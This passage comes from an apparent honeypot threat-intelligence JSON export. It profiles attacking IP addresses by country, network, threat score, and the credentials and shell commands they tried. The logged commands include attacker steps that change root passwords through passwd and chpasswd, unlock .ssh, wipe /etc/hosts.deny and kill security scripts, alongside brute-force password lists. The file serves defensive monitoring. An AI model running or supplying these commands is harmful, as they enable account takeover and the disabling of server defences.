      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 30.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T13:57:59.699000+00:00",
        "last_seen_30d": "2026-03-22T01:16:10.600000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 233,
        "Suricata": 62
      }
    },
    "103.237.144.204": {
      "attack_count": 193,
      "first_seen": "2026-03-11T13:58:24.343Z",
      "last_seen": "2026-03-11T14:24:07.866Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "alfredo",
        "hsadmin",
        "deamon",
        "macha",
        "n8n",
        "ts3server",
        "ubuntu",
        "vpnbot",
        "webapps",
        "webserver",
        "wialon"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "Deamon123",
        "Webapps123",
        "Wialon123!",
        "abcd1234",
        "alfredo",
        "n8n",
        "ts3server123!",
        "vpnbot123",
        "webserver"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nD6PWJTtg2DEQ\\nD6PWJTtg2DEQ\\n\"|passwd",
        "echo \"alfredo\\nqVHqc8EmDA8U\\nqVHqc8EmDA8U\\n\"|passwd",
        "echo -e \"123\\nD6PWJTtg2DEQ\\nD6PWJTtg2DEQ\"|passwd|bash",
        "echo -e \"alfredo\\nqVHqc8EmDA8U\\nqVHqc8EmDA8U\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131414,
      "as_org": "Long Van Soft Solution JSC",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 229,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T13:58:24.343000+00:00",
        "last_seen_30d": "2026-03-11T14:25:16.515000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 36
      }
    },
    "189.178.17.1": {
      "attack_count": 193,
      "first_seen": "2026-03-09T19:52:54.498Z",
      "last_seen": "2026-03-09T20:15:55.658Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "kjh",
        "wyy",
        "clawd",
        "ethan",
        "hyun",
        "openvpn",
        "root",
        "runner",
        "student2",
        "user",
        "webuser"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123QWEasd",
        "Openvpn123",
        "Passw0rd@123",
        "hyun1234",
        "password",
        "runner"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nYsUllmlmfAdX\\nYsUllmlmfAdX\\n\"|passwd",
        "echo \"password\\ntuP5aE6WZENb\\ntuP5aE6WZENb\\n\"|passwd",
        "echo -e \"123456\\nYsUllmlmfAdX\\nYsUllmlmfAdX\"|passwd|bash",
        "echo -e \"password\\ntuP5aE6WZENb\\ntuP5aE6WZENb\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Guadalajara",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T19:52:54.498000+00:00",
        "last_seen_30d": "2026-03-09T20:16:58.757000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 35
      }
    },
    "41.216.178.119": {
      "attack_count": 193,
      "first_seen": "2026-03-11T10:03:24.664Z",
      "last_seen": "2026-03-11T10:27:54.943Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "jino",
        "shadow",
        "angelica",
        "appserver",
        "monitoring",
        "n8n",
        "pilot",
        "prova",
        "root",
        "tania",
        "vncuser"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "Root@12345678",
        "appserver1234",
        "jinopass",
        "n8n",
        "prova123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nDuWcgI9vMrK6\\nDuWcgI9vMrK6\\n\"|passwd",
        "echo \"jinopass\\nE9fiFMQjTnFT\\nE9fiFMQjTnFT\\n\"|passwd",
        "echo -e \"12345678\\nDuWcgI9vMrK6\\nDuWcgI9vMrK6\"|passwd|bash",
        "echo -e \"jinopass\\nE9fiFMQjTnFT\\nE9fiFMQjTnFT\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 139989,
      "as_org": "CV Atha Media Prima",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T10:03:24.664000+00:00",
        "last_seen_30d": "2026-03-11T10:28:56.350000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 34
      }
    },
    "89.126.209.84": {
      "attack_count": 191,
      "first_seen": "2026-03-04T15:45:22.357Z",
      "last_seen": "2026-03-04T16:11:43.896Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234qwert",
        "1qaz2wsx@@",
        "333333",
        "Abcd12345",
        "Bingo@1993",
        "Huawei@123",
        "Lx123456@",
        "google@123",
        "letmein@123",
        "ym123456",
        "zxczxc123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:nSRZDAXnwpPA\"|chpasswd|bash",
        "echo \"root:zRusARxQvvCg\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": null,
      "asn": 202660,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 229,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T15:45:22.357000+00:00",
        "last_seen_30d": "2026-03-04T16:12:49.525000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 38
      }
    },
    "14.161.22.36": {
      "attack_count": 168,
      "first_seen": "2026-03-27T01:23:16.430Z",
      "last_seen": "2026-03-27T03:04:49.153Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "12312312",
        "123456aA",
        "3245gs5662d34",
        "345gs5662d34",
        "@Tx123456",
        "Aa12345678!",
        "Asd@123",
        "Fr123456789",
        "Mq@123456",
        "Pa$$w0rd!@",
        "T@cl0ud123",
        "TEST1234",
        "Wy123456",
        "aA@123321",
        "booty",
        "juniper123",
        "kiki",
        "matrimonio",
        "mother",
        "qwertyuiop[]\\"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ZnsTyLXmRQWz\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T01:23:16.430000+00:00",
        "last_seen_30d": "2026-03-27T03:05:59.248000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 64
      }
    },
    "72.17.34.38": {
      "attack_count": 144,
      "first_seen": "2026-03-23T18:58:18.238Z",
      "last_seen": "2026-03-23T19:27:44.312Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "gpadmin",
        "345gs5662d34",
        "alfresco",
        "amp",
        "bitrix",
        "blog",
        "francisco",
        "interview",
        "lisa",
        "pepe",
        "ppp",
        "sdbadmin",
        "shen",
        "tibero",
        "tim",
        "vbox"
      ],
      "passwords_attempted": [
        "12345",
        "123",
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Amp123",
        "Tim",
        "alfresco",
        "gpadminpass",
        "interviewpass",
        "lisa1234",
        "ppp@123",
        "shenpassword",
        "tibero@123",
        "vboxpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"gpadminpass\\n064YHLbLnGTz\\n064YHLbLnGTz\\n\"|passwd",
        "echo -e \"gpadminpass\\n064YHLbLnGTz\\n064YHLbLnGTz\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Winter Park",
      "asn": 33363,
      "as_org": "Charter Communications, Inc",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T18:58:18.238000+00:00",
        "last_seen_30d": "2026-03-23T19:28:46.289000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 40
      }
    },
    "152.32.214.167": {
      "attack_count": 129,
      "first_seen": "2026-03-06T21:14:14.028Z",
      "last_seen": "2026-03-06T21:39:05.612Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "testuser",
        "345gs5662d34",
        "ci",
        "ionadmin",
        "jira",
        "mehedi",
        "nodejs",
        "qwerty",
        "samuel",
        "ubuntu",
        "zhangsan"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "@qwer2024",
        "@qwer2025",
        "Password1",
        "abc",
        "ci",
        "jira1234",
        "password",
        "qwertypass",
        "samuel1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"abc\\nes8M6uU2P8ql\\nes8M6uU2P8ql\\n\"|passwd",
        "echo -e \"abc\\nes8M6uU2P8ql\\nes8M6uU2P8ql\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 162,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T21:14:14.028000+00:00",
        "last_seen_30d": "2026-03-06T21:40:12.026000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 129,
        "Suricata": 33
      }
    },
    "161.97.105.189": {
      "attack_count": 122,
      "first_seen": "2026-03-31T09:31:22.057Z",
      "last_seen": "2026-03-31T10:07:36.770Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!QAZ2wsx3",
        "$#@!ergean*(",
        "3245gs5662d34",
        "345gs5662d34",
        "AAbb123456",
        "Aa1234567",
        "bd123456",
        "bj1234567",
        "hz123456",
        "ruijie@123",
        "zhenru1234567890",
        "zhenru1314"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:0Z7xFmb0RA7D\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 34.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T09:31:22.057000+00:00",
        "last_seen_30d": "2026-03-31T10:08:44.082000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 122,
        "Suricata": 32
      }
    },
    "152.32.188.177": {
      "attack_count": 121,
      "first_seen": "2026-03-09T00:17:28.033Z",
      "last_seen": "2026-03-11T21:44:59.767Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "comp",
        "root",
        "345gs5662d34",
        "applmgr",
        "db2admin",
        "iksi",
        "jagdish",
        "kanban",
        "kishore",
        "usuario1"
      ],
      "passwords_attempted": [
        "123",
        "password",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Kishore123!",
        "aaa111",
        "iksi1234",
        "kanban123",
        "zxcvbnm123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\nBkHo6mg3EdjH\\nBkHo6mg3EdjH\\n\"|passwd",
        "echo -e \"password\\nBkHo6mg3EdjH\\nBkHo6mg3EdjH\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 29.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.0,
        "persistence": 10.8,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 160,
        "days_active_30d": 13,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T01:36:51.387000+00:00",
        "last_seen_30d": "2026-03-15T20:29:39.056000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 121,
        "Suricata": 39
      }
    },
    "103.180.241.18": {
      "attack_count": 119,
      "first_seen": "2026-03-19T05:23:38.784Z",
      "last_seen": "2026-03-19T05:46:01.930Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "boom",
        "345gs5662d34",
        "alice",
        "ceo",
        "developer",
        "informatica",
        "runner",
        "sai",
        "sd",
        "student10",
        "zhy"
      ],
      "passwords_attempted": [
        "1234",
        "1",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "informatica",
        "password",
        "zhy123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\nVtei6fSgBZcl\\nVtei6fSgBZcl\\n\"|passwd",
        "echo -e \"1234\\nVtei6fSgBZcl\\nVtei6fSgBZcl\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Nepal",
      "country_code": "NP",
      "city": null,
      "asn": 139922,
      "as_org": "DISH MEDIA NETWORK PUBLIC LIMITED",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T05:23:38.784000+00:00",
        "last_seen_30d": "2026-03-19T05:47:04.790000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 29
      }
    },
    "116.193.190.244": {
      "attack_count": 118,
      "first_seen": "2026-03-08T06:47:50.844Z",
      "last_seen": "2026-03-08T07:08:49.424Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "abdul",
        "angga",
        "canon",
        "ec2-user",
        "gw",
        "planka",
        "rstudio",
        "student4",
        "webuser"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "1QAZ2wsx3edc",
        "3245gs5662d34",
        "345gs5662d34",
        "Ec2-User123",
        "abdul123!",
        "canon1234",
        "gw123",
        "password",
        "student4123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Krb1YBEZqgdO\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T06:47:50.844000+00:00",
        "last_seen_30d": "2026-03-08T07:09:58.356000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "179.49.115.33": {
      "attack_count": 118,
      "first_seen": "2026-03-05T07:10:56.757Z",
      "last_seen": "2026-03-05T07:45:08.049Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "12312345!!",
        "1q2w3e4r#",
        "2024111#",
        "2024pass#",
        "24asdqweasd",
        "3245gs5662d34",
        "345gs5662d34",
        "User!2026",
        "login@123",
        "qaz123456$",
        "qq!@#1234",
        "qw3r!!12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:AnDuCrit07B8\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
